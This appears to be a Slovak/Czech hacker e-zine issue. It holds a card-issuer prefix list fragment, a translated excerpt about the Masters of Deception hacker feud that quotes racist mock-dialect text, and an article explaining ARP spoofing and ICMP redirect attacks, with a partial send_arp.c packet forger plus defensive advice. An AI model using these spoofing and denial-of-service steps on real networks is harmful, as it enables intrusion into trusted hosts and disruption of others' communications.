5485 - Simmons First National Bank 
5485 - Citibank 
5488 - Financial Transaction Systems, Inc. 
5489 - First American Bank of Virginia 
5493 - Credicard, S.A. 
5494 - Credit Union Card Services, Inc. 
5485 - Citibank 
5488 - Mellon Bank Delaware, N.A. 
5489 - First American Bank of Virginia 
5493 - Credicard, S.A. 
5494 - Credit Union Card Services, Inc. 
5498 - Star Bank, N.A. 
5499 - The Bankcard Association, Inc.5554 - State Street Bank & Trust Co. 
gizmo, gizmo(at)hysteria.sk

navrat na obsah
co ty na to ? board


valka elektronickych gangu III

tak tu je slubene dokoncenie prekladu uryvku z knihy valka elektronickych gangu III :) predosle casti su v prielome 10 a 11...

Chris pochopi ze to John mu prepol medzimestskeho operatora. Tiez si mysli, ale nepravne, ze John je autorom toho manifesta ktory severski chalani volaju History of MOD. Takze Chris sa nasere a rozhodne sa ze tiez vyparati nejaky ten kusok.

Chris ma stary pocitacovy program, ktory prelozi hocijaky fajl do noveho 'jazyka'. Ked do toho programu naladuje History of MOD, vypluje to 'jive' verziu spominaneho dokumentu. Tento prekladaci softik jednoducho hlada niektore klucove slova alebo slovne spojenia, a zameni ich inymi.

V povodnom zneni to je to 'In the early part of 1987, there were numerous amounts of busts in the US and in New York in particular....' a program z toho spravi 'In de early part uh 1987, dere wuz numerous amonts uh busts in de US and in New Yo'k in particular....'

Pouzivanie jive programu je elektronicky ekvivalent ako dostat sa na trapnu humornu show s rasistickym podtonom : "Some nigga' name Co'rupt, havin' been real active befo'e, duzn't gots' some so'kin' computa' anymo'e and so ... sheeit, duh."

Chris sa sam nepoklada za rasistu. Hovori ze ma kamosov cernochov v praci. Ked sa ho spytate preco takto zosmiesnil History of MOD: povie ze sa to zdalo byt smiesne. Srandovne, hovori. Ked po niekom idete, spravite cokolvek co by ho zosmiesnilo, hovori. Hocico. Nemal prekladaci program ktory by prozu chalanov z MOD zmenil na, dajme tomu eskimacky prizvuk.. proste mal jive program.

Takze co mal robit ?

Keby ste zili v state Texase, chapali by ste to. Chris hovori: "Tunak dole seci mame cizmy a klobuky. Vsetci chodime jazdit."

John uzrie kopiu Chrisovej roboty zaciatkom 1991.

Sedi pred pocitacom ktory vyzera ako poskladany z vyhodenych casti. Ma velku TV konzolu namiesto monitoru, rozbitu klavesnicu a stary Commie 64 s magnetakom. Jeho komp je street box, guerrilla machine.

A tam je na obrazovke, jived History of MOD.

"De legacy uh de underground 'clandestine' netwo'k continues and so's duz de war against all de self-proclaimed, so-called 'elite.'"

John najprv tomu neveri; je to prilis v drsne. Pomaly si to precituje, zhrozeny.

John to docita, potom si na minutku sadne, cumi na obrazovku, cumi mimo obrazovky.. proste cumi. A mysli si, "tento chalanicko ma fakticky nema rad. Je namiereny na mna, a iba na mna".

Comsec otvori svoje dvere v Maji 1991 a partneri sa v priestrannych kancelariach v Houstone rychlo zabyvaju. Comsec ma vysoky strop s neonmi a plynove lampy v dvoch koridoroch. Obcas zakladatelia Comsecu skateboarduju po dlhych prazdnych chodbach a sulaju sa v pisacich kreslach. Chris byva v zadnej casti budovy, v bejvaku s velkou

Ale je tu jeden problem. Comsec nema ziadnych klientov.

Sefovia Comsecu maju tyzdenne porady, na ktore vsetci chodia. Rozhodnu sa distribuovat spravy do tlace o ich zabezpecovacie sluzby. Ako kto ? Ako profesionalni ex-hackeri, spravia si zoznam pravdepodobnych klientov. Prescanuju si fajly na undergroundovych BBSkach aby nasli mena podnikov ktore boli infiltrovane, potom tam volaju a ponukaju svoje sluzby.

Spravy v tlaci funguje super, pretoze v Juni 1991, menej ako mesiac po oficialnom debute Comsecu, casopis Time uverejni o tychto hackeroch story.

Na druhy den okamzite zacnu zvonit telefony. A zvonia a zvonia. Nemozete si kupit lepsiu reklamu ako Time. Comsec ma klientov ! Jeden je konzultant reprezentujuci telekomunikacny priemysel, objednava si vyzkum nedavnych vypadkov regionalnych Bell spolocnosti. Klient zaplati US$5000 zalohu.

Samozrejme ze publicita v Time ma aj iny efekt.

Hore na severe, chalani z MOD citaju tieto story.

John Lee dostane super napad ako si z Texasanov vystrelit. Preco ho to do paze nenapadlo uz skor ?

Svoj plan zacne realizovat pocas toho dlheho, horuceho leta 1991. Aspon ho to odreaguje od skutocnosti ze sa musi potit v horucom baraku bez klimy na Kosciusko Street. Jeho plan je spiclovat, a je vcelku jednoduchy. John sa naloguje na Southwestern Bell ustrednu ktora kontroluje telefony Comsecu v Houstone.

Potom John napise prikazy a zisti z ustredne ktore z telefony v Comsecu sa momentalne pouzivaju.

Ak sa nejake pouzivaju, John vie ze momentalne prebieha nejaka konverzacia. Pouziva sa telefonna linka. Takze napise zopar prikazov, tak ako by to spravil operator, a ziska kontrolu nad danou linkou. Takto jednoducho odpocuva prebiehajucu koverzaciu.

Na linke pocut tichy klik, ale nie je to ten typ hluku ktory by ste si vsimli, pokial na neho necakate. A nikto v Comsecu nema dovod nato aby si mysleli ze ich niekto odpocuva.

John pravidelne odpocuva hovory. To je ten pravy sposob ako zistit co ma nepriatel za lubom a ako ocakavat kazdy krok Texasanov pred tym ako ho spravia. Takze tu mame Johna, ako jedno poobedie pocuva ako tato bezpecnostna firma ma telefonat od svetoznameho hackera, Creiga Neidorfa.

Da sa s lahkostou povedat ze v roku 1991 niet znamejsieho hackera ako Neidorf. A to preto lebo rok predtym Neidorf porazil federalnu vladu v ich vlastnej hre. Mesiace potom, Neidorfov pripad sa stal legendou. (A roky potom sa opatrni prokutarovi ktori zvazovali zalovanie hackerov jeden druheho varovali pred "potiahnutim dalsieho Neidorfa.")

Spolu-editor elektronickeho casopisu Phrack, Neidorf za zucastnil v lete 1990 v Illionse sudneho procesu. Bol obvineny z vlastnictva a publikovania takzvanych sukromych dokumentov telekomunikacnej firmy vo Phracku. Vlada argumentovala ze publikovane informacie mali hodnotu tisicov dolarov, na zaklade odhadov telekomunikacnej firmy. Ale v priebehu sudneho procesu obhajoba dokazala ze dokumenty namiesto tajnych informacii obsahovali informacie ktore boli verejne pristupne, Bellcore predaval tieto informacie hocikomu kto si zaplatil 13 dolarov za clanok v technickej tlaci. Zhrozeni federalni prokuratori vzdali pripad este pred tym ako sa dostal pred porotu. Ano, Neidorf bol pre niektorych hackerov hrdina. Ale bola to jeho notorickost ktora ho preslavila v undergrounde kyberpriestoru.

Teraz okolo obeda pracovneho dna v lete 1991, Chris Goggans odpovedal na telefonat v Comsecu a na druhej strane linky je Neidorf. (John potichu odpocuva.) Telefonat je iba priatelsky pokec, ale dnes je Neidorf fakticky nasraty. Problem je ze stale dostava anonymne telefonaty, furt ho niekto otravuje. Mysli si ze vie kto je zodpovedny, ale chce aby sa to skoncilo.

"Hm vyzera to ze ti robia nieco podobne ako robia aj nam," odpoveda Chris.

"Niekto prave volal mojmu otcovi do Virginie", hovori Neidorf. Chris nie je prekvapeny, ale je za svojho kamosa tiez nastvany. Ma teoriu o tom kto by za tym vsetkym mohol byt.

"Vyzera to na Corrupta," hovori Chris, opakujuc svoje podozrenie ze John Lee ho otravuje aj v Houstone. "Vyzera to ze to on vsetko robi." V tej chvili zazvoni druhy telefon v Houstone, dalsi prichodzi telefonat pre Comsec. Chris poprosi Neidorfa aby chvilocku pockal na linke, a zdvihne druhy telefon. Hlas na druhej strane tej druhej linky hovori Chrisovi, "Heh no jo, to fakt vyzera ze to robim ja."

Chris je taky nasraty, ze ani nemoze normalne rozmyslat. John Lee odpocuval linky ! Sukromne telefonaty Comsecu ! Ako dlho ? Ako casto ? Co vsetko pocul ? Co vsetko vykecal svojim kamosom v MODe ? Ked sa toto vsetko dostane von, Comsec bude na posmech !

Najali by ste si firmu na computer security, ktora si ani svoje vlastne telefonne linky nevie zabezpecit ?

Chris zavola FBI, nevediac ze Kaiser a Staples uz cele mesiace zhromazduju dokazy na sudny proces proti MOD. Ci Chrisov telefonat ovplyvnil nacasovanie nie je zname, ale sudny proces proti MOD zacne v Juli 1992.

Sudne obvinenie ma 11 casti a obvinuje Marka, Paula, Eliho, Johna a dalsich clenov MOD z nelegalnych prienikov do pocitacov. Kazda z 11 casti obvinenia je postihnutelna minimalne piatimi rokmi vo vazeni. Kazda z 11 casti ma maximalnu pokutu 250 000 dolarov.

Tento sudny pripad je taky velky, taky senzacny a taky prevratny, ze US prokurator sam zvola tlacovu konferenciu v lobby St. Andrews Plaza, na riaditelstve v Manhattane. Chce ohlasit tento pripad mediam. Je to spichnute tak trochu na rychlo, rady skladacich stoliciek siahaju az po stenu s detektormi kovov a vpredu po nepriestrelnu budku US-Marshala. Dnu sa sype retaz navychyrenejsich New Yorskych novinarov a pytaju si handouty. Obzaloba je zhrnuta do 23 stranoveho reportu prehusteneho faktami, vypoctami, pravnickymi vecickami. Prehlasenie pre tlac ktore sa snazi vysvetlit ze o com toto obvinenie vlastne je, je samo o sebe 8 stran dlhe. A potom mame este grafy na tabuli, ktore prichystal agent Secret Service Rick Harris.

Hlavnu pointu ktoru sa obzaloba snazi preukazat je celo-narodny rozsah tychto pocitacovych prienikov.

"Toto je kriminalita buducnosti," hovori US prokurator Otto Obermaier, vysoky chlapik v tmavom obleku. Ukazuje prstom a zdoraznuje odpor voci pocitacovej kriminalite. "Odkaz ktory chceme poslat do sveta z tejto obzaloby je, ze takyto druh cinnosti nebude tolerovany."

Clenova MOD su obvineni z najrozsiahlejsich prienikov najvacich a najsenzitivnejsich pocitacovych systemov v krajine. Vlada sa rozhodla ze z tychto teenagerov spravi vzorovy priklad. Odkaz, ako to vola Obermaier, npripusta ziadnu toleranciu. Ak si hacker ktory rozmysla ze sa vyda po stopach Masters of Deception, radsej si to rozmysli.

Ani pomaly nie je miesto pod podiom - vsetci novinari sa snazia uchytit co najviac informacii. Su tam prokuratori. Potom su tam agenti FBI a Secret Service a su tam aj vysetrovatelia z Ministerstva Spravodlivosti USA - odbor Pocitacovej kriminality.

Obermaier povie novinarom vsetko o tychto trestnych cinoch. Hovori o tom ako chalani sposobili firmam skody v tisicoch dolarov vo forme vyplat bezpecnostnym specialistom, stratenym casom na serveroch. Ale nepovie im ze tito nebezpecni hackeri su vlastne iba skupina teenagerskych chalanov ktori su priatelia, lebo zdielaju spolocne hobby.

Tato story sa dostane az do vecernych sprav na NBC s Tomom Brokawom. Je to ten pravy pribeh s ktorym Brokaw ukoncuje spravy - reportaz na zamyslenie. Je tam zaber ako Mark vyucuje pocitacovu triedu v New School for Social Research v Greenwich Village. Reportaz sa konci na tmavej dazdivej ulici. Mark hovori reporterovi NBC ze je jednoznacne obet politickeho vysetrovania.

Keby bol z toho byval sudny spor, tak tento pripad s MOD by sluzil ako precedens celej krajine, spravila by sa merna latka, podla ktorej by vlada mohla odsudzovat takzvanych pocitacovych kriminalnikov.

Ale nebol z toho sudny spor, pretoze vsetci chalani z MOD sa pocas roka deklarovali pred sudcom ako vinny. Vsetci to vzdali. Co im zostavalo potom ? Bolo to na prokuratoroch aby doporucili vysku trestu a na sudcovi aby to schvalil.

Hackeri ktori prichadzaju do budovy Citicorpu prvy piatok vo Februari 1994 maju tazke boty, siroke nohavice a obite kanady, vysoko zasnurovane. Keby ale bol Jul, samozrejme by neboli obleceni inak. Je to ich uniforma.

Dnesna session je prve stretnutie po takmer piatich rokoch na ktorom nie je pritomny nikto z MOD - Mark, Paul, Eli a John su vsetci vo vazeni. Su tu tucty hackerov, vo veku od 14 do 40, omnoho viac ucastnikov ako vtedy zaciatkom 1989. Odvtedy sa svet o dost zmenil, odkedy sa Mark, Eli a John nejak nasli, a zacali spolu fungovat.

Je to vlastne ako keby ich cely svet dobehol. To co robili chalani MOD pre zabavu - rekreacne behali cez kontinenty po kabloch - sa stalo narodnym sportom. "Surfovanie Netu" je teraz popularnejsie ako kedy bolo CB radio a ludia vsade si kupuju svoj prvy pocitac a pripajaju sa na online sluzby, aby sa spojili s informaciami z celeho sveta.

Preto nie je prekvapive, ze novi clenovia zvedavej generacie zaplnaju atrium Citicorpu. Dnes vecer je ale diera tam, kde byval kedysi Mark, pri telefonnych automatoch, tam kde tak rad postaval kym sa skupina kamosov zbehla okolo neho a davala mu technicke otazky. Dnes vecer ho tam nenajdete vo familiarnom modro-bielom pulovri, nebudete pocut jeho hlas. Dnes vecer je Mark daleko. K vratnici Pennsylvanskej okresnej vaznice prisiel neskoro vecer v Januari 1994, dvere za nim zapadli este pred tym ako sa stacil rozlucit s priatelmi. A nedostane sa odtial az do Novembra. Sudca ktory odsudil Marka povedal, ze Mark svojimi aktivitami bol messenger, vzor pre hackersku komunitu. A tak sa sudca rozhodol poslat naspat message.

Po sest-mesacnom vazeni vysiel John chudsi, svalnatejsi, vlastne v najlepsej forme v akej kedy bol. Na jesen 1994 sa rozhodol ist naspat na Brooklyn College, kde nastupil studium filmovej tvorby. Ma kopec napadov na filmy ktore by xcel zrealizovat.

Po skonceni vazby vo federalnom vazeni v Pennsylvanii sa Paul dostane na slobodu na jar 1994. Mark sa ma dostat von niekedy okolo Dna Vdakyvzdania. Pre obidvoch z nich sa hackerske dni stanu vybornym treningom na job: Paul pracuje pre firmu ktora patra po nezvestnych osobach s vyuzitim verejnych databaz. Mark prevadzkuje servre v Echo, Manhattanskom Inet providerovi. Marka maju uzivatelia v Echo tak radi, ze zalozia malu zbierku kym sedi v lapaku a kupia mu novy laptop ked sa vrati na slobodu.

Legion of Doom a Comsec su uz iba pamiatka. Comsec skoncil cinnost a Chris Goggans pracuje v Austine pre Dell, skuma pokrocile bezdratove siete. S ostatnymi clenmi LOD zozbierali tisicky odkazov, e-mailov, elektronickeho grafitti z roznych elitnych BBSiek z 1980-tych rokov a predava to cez firmu LOD Communications. Predava aj tricka - na hackerskej stretavke Ho-Ho Con v decembri 1992 v Houstone predava tricka s logom "The Hacker War" krizom cez prsia s mapou Spojenych Statov s vyznacenymi miestami najvacsich bitiek, hlavne Houston, Austin a New York.

Na zadnej strane tricka je napisane: LOD 1, MOD 0. A je tam hlaska ktora je udajne od Corrupta, ktoru Chris dostal z tajnej databazy MOD: "Nezalezi len na tom aby sme vyhrali, ale na tom aby vsetci ostatni prehrali."

Michelle Slatalla a Joshua Quittner, quit@newsday.com

Autori su reporteri New Yorskeho platku Newsday. Su zenati, maju dve dcery a macku so siestimi prstami. Toto bol uryvok z ich knizky "Masters of Deception: The Gang That Ruled Cyberspace" ktora vysla v nakladatelstve Harper-Collins v roku 1995. Na Slovensku alebo v Cechach podla mojej informacie preklad nikdy nevysiel..

preklad pajka

navrat na obsah
co ty na to ? board


redir hry s arp a icmp

existuju bugy a existuju features. castokrat je rozdiel medzi oboma iba v oku vsemohuceho. chcem ukazat dva legitimne protokoly, ARP a ICMP, ktore ked sa spravne implementuju, dokazu spravit cosi co nie je, ehm, nie je ziaduce.

kym pasivne utoky (sniffing) ktore zneuzivaju rootovsky pristup po LANke su extremne popularne a aj lamerske rootkity maju vzdy aspon nejaky jeden net sniffer, aktivne utoky zase nie su az take rozsirene. ale aktivna ucast v zivote vasej LANky vam moze priniest kopec zabavy a radosti. to ste asi uz vedeli, akurat technicke detajly boli nejak zahmlene. takze, budiz svetlo.

postupy ktore vysvetlim zahrnuju spoofing a DoS. aj ked ine druhy spoofingu, ako napriklad IP blind spoofing, su omnoho vseobecnejsie a silnejsie, z pohladu vyuzitelnosti pozaduju kopu roboty, hadania, a tazko sa implementuju. ARP spoofovanie je naproti tomu velmi jednoduche a robustne.

aj ked ARP spoofovanie je mozne iba na lokalnej sieti, moze to znamenat seriozny bezpecnostny problem ktory rozsiri uz existujucu dieru v bezpecnosti. ak sa niekto nabura na jeden server na subnete, ARP spoofing moze byt pouzity na napadnutie ostatnych masin na nom.

zoberme si takuto hypoteticku siet

IP          10.0.0.1   10.0.0.2  10.0.0.3  10.0.0.4
hostname       cat        rat       dog       bat
hw addr       AA:AA      BB:BB     CC:CC     DD:DD    (pre skratenie)
to vsetko mame pospajane na ethernete jednoduchym sposobom (t.j. ziadne switche, ziadne smart huby). dajme tomu ze si hackol masinu cat, mas na nej roota a chces sa dostat na dog. vies ze dog ma trust vztah s rat, takze ak dokazes uspesne spoofnut rat, mozes cosi ziskat.

prva vec co nas napadne (myslim ze kazdeho to asi raz napadlo) je "preco si nenastavim svoju IP adresu na adresu tej druhej masiny a..." To zial nefunguje, alebo aspon nefici to poriadne. ak povies ethernetovemu driveru na cat ze jeho IP adresa je 10.0.0.2, zacne odpovedat na ARP requesty na tej IP adrese. ale takisto aj rat. je to race podmienka a neexistuje v nej vitaz. ale lahko sa moze stat ze sa z teba stane porazeny, pretoze tato konkretna situacia sa odohrava dost casto ked sa nejaka masinka zle nastavi na uz existujucu IP adresu, takze kopu softwaru si takuto vec hned vsimne a okamzite spustaju poplach. aj vselijake traffic analyzere na taketo nieco upozornuju. riadok v syslogu ktory hovori cosi neprijemne (spominajuc ethernetovu adresu cat-u) na konzole LAN administratora nie je zrovna to co potrebujes. a to co ty chces nemusis vobec mat, cize dostat fungujuce spojenie.

tomuto ale mozeme samozrejme pomoct. program na konci tohoto clanku, send_arp.c, moze byt uzitocny nastroj. ako hovori jeho meno, posle ARP packet [presnejsie povedane ARP reply: pretoze v ARP protokole bude reply s radostou privitany aj ked si ho nikto nevyziadal. request by tiez v pohode fungoval, toto je dost divna logika ARP protokolu] na siet a mozes spravit z tohoto packetu co chces. co potrebujes je schopnost specifikovat zdrojovu a cielovu IP a hardwarova adresu.

zaprve nechces aby bol tvoj ethernet driver moc ukecany, a to sa lahko docieli prikazom ifconfig -arp. samozrejme bude potrebovat aj tak ARP info, takze ho budes musiet krmit do kernelu manualne cez arp(8). najdolezitejsia cast je presvecit svojich susedov. v tomto pripade chces aby dog veril ze hardwarova adresa rat je ta co ma cat (AA:AA), takze posles ARP reply so zdrojovou IP adresou 10.0.0.2, zdrojovou hw adresou AA:AA, cielovou IP adresou 10.0.0.3 a cielovou hardwarovou adresou CC:CC. teraz si mysli dog ze rat je na AA:AA. samozrejme zaznam v cache expajruje, takze ho musime updatovat (request musime znovu a znovu posielat). ako casto, to zalezi od konkretneho systemu, ale kazdych 40 sekund by malo stacit vo vacsine pripadov. kludne to poslite aj castejsie, nic sa neublizi.

moze nastat komplikacia v suvislosti s ARP caching. niektore systemy, napr. Linux sa budu snazit updatovat cache vyslanim unicast ARP requestu na cachovanu adresu (ako ked ti manzelka zavola aby sa presvecila ze si tam). takyto request moze vsetko posrat, pretoze zmeni ARP zaznam obete, ktory si prave fejkol, takze tomu musime zabranit. toto dosiahneme tak, zze nakrmime "manzelku" s reply packetmi ktore si nikdy nevyziadala. prevencia je najlepsi liek, ako vzdy. tentokrat, skutocny packet z dog na rat by mal byt zaslany, akurat ho posle cat, a nie dog, ale rat to nedokaze rozlisit. opat, pokial to spravime kazdych 40 sekund, vacsinou to staci.

takze postup je jednoduchy. nabehni aliasovy interface, napr. eth0:1 (alebo pouzi uz existujuci, to je fuk), s IP adresou rat a so zapnutym ARP protokolom - najprv musis nastavit cache vstupy, a nebude to fungovat na ne-arpovom interfaci. nastav host route pre dog cez spravny interface. nastav cache vstup pre dog, vypni arp, a vsetko mas nastavene.

teraz posli send_arp (na dog aj na rat) a teraz si dog mysli ze si rat. pamataj na to ze mas dookola posielat tieto ARP packety na dog aj rat.

tento utok funguje iba na lokalnej sieti, samozrejme (vo vseobecnosti sa da povedat ze ho mozes pouzit tak daleko ako mozu ist ARP packety, vacsinou to vsak nie je velmi daleko, pretoze sa skoro nikdy ARP packety neroutuju). zaujimave rozsirenie je vymenit hardwarovu adresu v hore nacrtnutom sceneriu s routerovou adresou. ak to funguje (nie som si isty ze to vzdy bude fungovat, implementacia ARP routeru sa tazsie da okaslat a kedze to nechcem skusat na skutocnych routeroch, neviem, ale jednoducho neexistuje dovod preco nie) mozes sa lahko tvarit ako masina na lokalnej sieti pre cely svet. takze cielova masina moze vlastne byt hocikde, ale masina na ktoru sa tvaris musi byt na tej istej LANke.

co este mozeme robit

okrem spoofovania mozes s ARP robit este kopec veci. jedinym limitom je obloha. DoS je najzavnejsou aplikaciou.

krmit obet zlou hardwarovou adresou je silny sposob ako ju umlcit. mozes zabranit aby komunikovala s konkretnou masinou (a velkost ARP cache zvycajne umoznuje zahrnut do toho celu siet, takze dokazes efektivne zabranit komunikacii s celou sietou). zjavnou obetou je router. Zaplnanie cache je opat dvoj-smerne: mal by si krmit aj victim system, aj system na ktory nexces aby victim komunikoval. Najjednoduchsi sposob je krmit neexistujucu adresu. Ale nie je to ta najefektivnejsia metoda, pretoze system rychlo pride na to ze s nikym nekomunikuje a posle ARP request. Samozrejme ze tvoj dalsi vyslany jed to vynuluje, ale musis to robit dost casto. Efektivnejsi sposob je krmit victim hardwarovou adresou nespravnej masiny, ktora sama o sebe je v pohode na sieti. zalezi to na konkretnej situacii, ale casto sa stava ze victim vysiela packety rozneho druhu ktore prijdu na zlu masinu, a ta zla masina posle naspat ICMP Xxx Unreachable odkaz, co nejakym perverznym sposobom emuluje spojenie. Taketo pseudo-spojenie moze predlzit expiraciu cache. Na linuxe, napriklad, pseud-spojenie predlzi expiraciu cache z beznej 1 minuty na zhruba 10 minut. do vtedy vacsina alebo vsetky TCP spojenia su v kybli. to moze dost nasrat. takymto sposobom moze ARP packet niekoho fest dokaslat.

ARP je aj seriozny nastroj na profesionalny cierny humor. predstavte si ze niekto si nastavi relay, alebo tunel, tak ze presvedci dve susediace masiny aby posielali packety urcene pre vzajomnu komunikaciu na Ethernet relay. Ak relay jednoducho forwarduje packety na ich spravnu destinaciu, nikto si nic nevsimne. Ale jednoducha modifikacia datoveho toku moze spravit uchvatne zmeny v mentalnom stave jedinca. Jednoduchy CPU-nenarocny "filter" moze prehadzovat randomne dva bajty v nepravidelnych casovych intervaloch. Ak filter udrie na datovu cast, vacsinu checksumu sa nezmeni, t.j. datovy tok sa bude zdat byt neposkodeny, avsak divne a nevysvetlitelne veci sa _budu_ diat bez akehokolvek zjavneho dovodu.

ICMP redirekty

stejneho efektu jako ARP kes poisoning muzete dosahnout i jinak, pouzitim legitimni soucasti ICMP protokolu - ICMP route redirekt. v normalnich situacich je route redirekt pouzivan routerem, ktery se vam snazi sdelit, ze existuje i kratsi cesta k nejake konkretni masine nez pres nej. puvodne se pocitalo jak s redirekty na site tak na jednotlive masiny, ale pozdeji se od pouzivani net redirektu upustilo a jsou vetsinou zpracovavany jako obycejny host redirekt. spravne zkonstruovany ICMP paket, ktery projde vsemi kontrolami spravnosti (napr. musi prijit z defaultniho routeru pro tu destinaci kterou redirektuje, novy router by mel byt na primo pripojene siti apod.) zpusobi pridani host-route zaznamu do systemovych routovacich tabulek.

tento pristup je stejne bezpecny jako samotny protokol ICMP, to jest vubec. falsovani IP adresy routeru je velmi jednoduche, prilozeny program icmp_redit.c dela presne co potrebujeme. pozadavky kladene RFCkem rikaji, ze system MUSI vzdy akceptovat ICMP redirekt, a jedinou vyjimku maji routery. jednotlive implementace to samozrejme dodrzuji, funguje to vsude kde jsem to zkousel. (tedy s vyjimkou cisteho kernelu 2.0.30, kde je kod nejak pokaslany. jinak to funguje na 2.0.29 i na 2.0.31pre9).

ICMP redirekt se primo nabizi pro denial-of-service utoky. host-route zaznamy v routovacich tabulkach nejsou casove omezeny, takze jejich platnost nevyprsi tak jako u ARP kese. navic jeho pouzitelnost neni omezena na lokalni sit, takze utok muze prijit odkudkoliv. takze v pripade, ze cil prijima ICMP redirekty (a je pristupny po siti), muze mu byt zabraneno v komunikaci s kteroukoliv konkretni adresou na siti (samozrejme s vyjimkou masin na stejnem subnetu, kde se routing nepouziva). idealnim cilem jsou treba nameservery.

co s tim

ARP je protokol pouzivany na nizke urovni, tudiz se s nim obvykle nesetkate, respektive setkate, ale nevite o tom. obcas se s nim potykaji administratori siti, ale pokud vse facha jak ma, nikdo se o nej nestara. kdokoliv se muze podivat do ARP kese prikazem arp(8), ale obvykle to jen tak nekoho nenapadne, leda pokud se vyskytl nejaky naprosto totalne zahadny problem. dokonce i windows 95 maji prikaz arp, a jeho znalost vam muze obcas dobre pomoct. (nicmene neexistuje zpusob, jak poznat ze jste cilem utoku prichazejicho z cizi site pres gateway arp spoofing.) stejne jako u ARP kese neni tezke najit zaznamy "host-route" zaznamy zpusobene ICMP redirektem, proste se podivejte do systemovych routovacich tabulek. (ve vetsine verzi route(8) takovy zaznam poznate podle flagu "D"). jen abyste vedeli.

hore prezentovane schema ARP utoku funguje perfektne na obycejnem 10Base2 ethernetu. nicmene pokud jsou masiny propojeny nejaky pokrocilejsim zpusobem, trebas nejakymi smart huby nebo switchi, utok muze byt velmi napadny, ne-li rovnou nemozny. (a to plati i pro pasivni utoky). takze to je dalsi z duvodu proc byste meli investovat do fakt poradneho sitoveho zeleza. bude se vam o poznani lepe spat.

osobne vubec nerad vidim, ze veci jako ICMP redirekt byly implementovany jako defaultni soucast systemu. za prve - vetsina siti ma velmi jednoduchou strukturu, takze si v pohode vystacite s obycejnou routovaci tabulkou. za druhe - i v sofistikovanejsich sitich lze zmeny delat rucne, neni to zadna dynamicka zalezitost, tak proc to delat pres ICMP? a do tretice - je to tak nebezpecne, ze bych to nejradsi na mych systemech vypnul, i za cenu ze budou mene kompatibilni s RFC1122. bohuzel to nemusi byt tak jednoduche. na linuxu nebo kteremkoliv jinem open-source systemu muzu prinejhorsim upravit zdrojaky kernelu a deaktivovat kod pomoci #define. na IRIXech 6.2 (a mozna i jinejch verzich) lze nastavit icmp_dropredirects=1 nastrojem systune (jo, fakt se mi libi ze to tam je, fakt jo.) jine OS mohou byt podobne konfigurovatelne, ale nemam podrobnejsi informace.

u ARP protokolu se setkavame se situaci, kdy je resolvovani jmen vyreseno dynamicky bez nejakeho centralniho serveru. ale nemusi tomu tak byt vzdy. kdyz nekdo chce prevest hostname na IP, posle se dotaz na nameserver, nebo se pouzije /etc/hosts, to znamena, ze je pouzito nejake staticke mapovani. nevidim duvod proc tento pristup nepouzit i u ARP. ethernetove hardwarove adresy se nemeni casto, a kdyz uz nahodou, tak to prece admina nijak nezabije provest zmeny v prislusne tabulce. ethernet muze byt provozovan v no-cache modu, potrebujete se jen ujistit ze zaznamy v ARP cache budou permanentni. jako bonus usetrite trochu sitoveho provozu. ARP mapy muzete distribuovat beznymi zpusoby, napriklad rdist, rsyns (ano, NIS by se take dalo pouzit, ale predpokladam, ze jestli pri zajisteni bezpecnosti jdete tak do hloubky ze se zabyvate ARP protokolem, nepouzivate asi NIS). stara tradice /etc/ethers se muze znovu probrat k zivotu. ale zprovozneni nejakeho poradneho ethernetoveho switche mi prijde lepsi (s jeho zaplacenim je to ale horsi, heh).

stara moudrost je platna naveky: nepouzivejte autentifikaci zalozenou na hostname. ti kteri tak ucini, budiz uvrzeni v nemilost sitovych bohu.

cheers,

yuri, volobuev@t1.chem.umn.edu
P.S. jeste k firewallum presne vidim, jak hodne z vas po precteni sekce o ICMP svrbi prsty, abyste mi napsali, ze ICMP pakety jdou v pohode odfiltrovat na firewallu. nepiste mi. ja to vim.

znam hodne lidi, kteri se svym "ja mam firewall, je to super, a kdo nepouziva firewall, je totalni blb" rikaji ze plno bezpecnostnich problemu se vyresi jako mavnutim kouzelnym proutkem jen tak, ze mezi sebe a zle hochy date firewall. samozrejme souhlasim ze firewall je skvela vec, ale podotykam, ze jeho pouziti nemusi byt vzdy mozne nebo efektivni.

predstavte si prostredi, kde vsechny masiny jsou primo pripojeny na internet, kde musite sdilet subnet s lidmi ktere vubec neznate (a kteri samozrejme maji krasna nova vylestena SGIcka... kricici "tu jsem. pojdte si me hacknout". tihle lide prece znaji UNIX, vzdyt ho videli v Jurskem Parku.), nebo kde ma nad vasim routerem kontrolu cizi organizace. vitejte na akademicke pude ... tady firewally nepouzivame. dalsi vec je, ze v techto prostredich se nemusite tak bat cizich utocniku tolik jako insideru. bez pecliveho zabezpeceni jednotlivych stroju je to totalni dzungle, ve ktere ale nekteri lide potrebuji (kupodivu) pracovat. takze priste az budete nekoho lamat do firewallu, uvedomte si prosim, ze to je krasna vec, ale nehodi se pro kazdeho.


/* send_arp.c

tento program posle jeden ARP packet so zdrojovou/cielovou IP a ethernetovou 
hardwarovou adresou zadanou uzivatelom. da sa to skompilovat a bezi to pod 
linuxom ale pravdepodobne to funguje na hocijakom unixe co ma SOCK_PACKET

yuri, volobuev@t1.chem.umn.edu

*/

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>


#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

char usage[]={"send_arp: sends out custom ARP packet. yuri volobuev'97\n\
\tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr\n\n"};

struct arp_packet {
        u_char targ_hw_addr[ETH_HW_ADDR_LEN];
        u_char src_hw_addr[ETH_HW_ADDR_LEN];
        u_short frame_type;
        u_short hw_type;
        u_short prot_type;
        u_char hw_addr_size;
        u_char prot_addr_size;
        u_short op;
        u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
        u_char sndr_ip_addr[IP_ADDR_LEN];
        u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
        u_char rcpt_ip_addr[IP_ADDR_LEN];
        u_char padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main(int argc,char** argv){

struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;

if(argc != 5)die(usage);

sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
        perror("socket");
        exit(1);
        }

pkt.frame_type = htons(ARP_FRAME_TYPE);
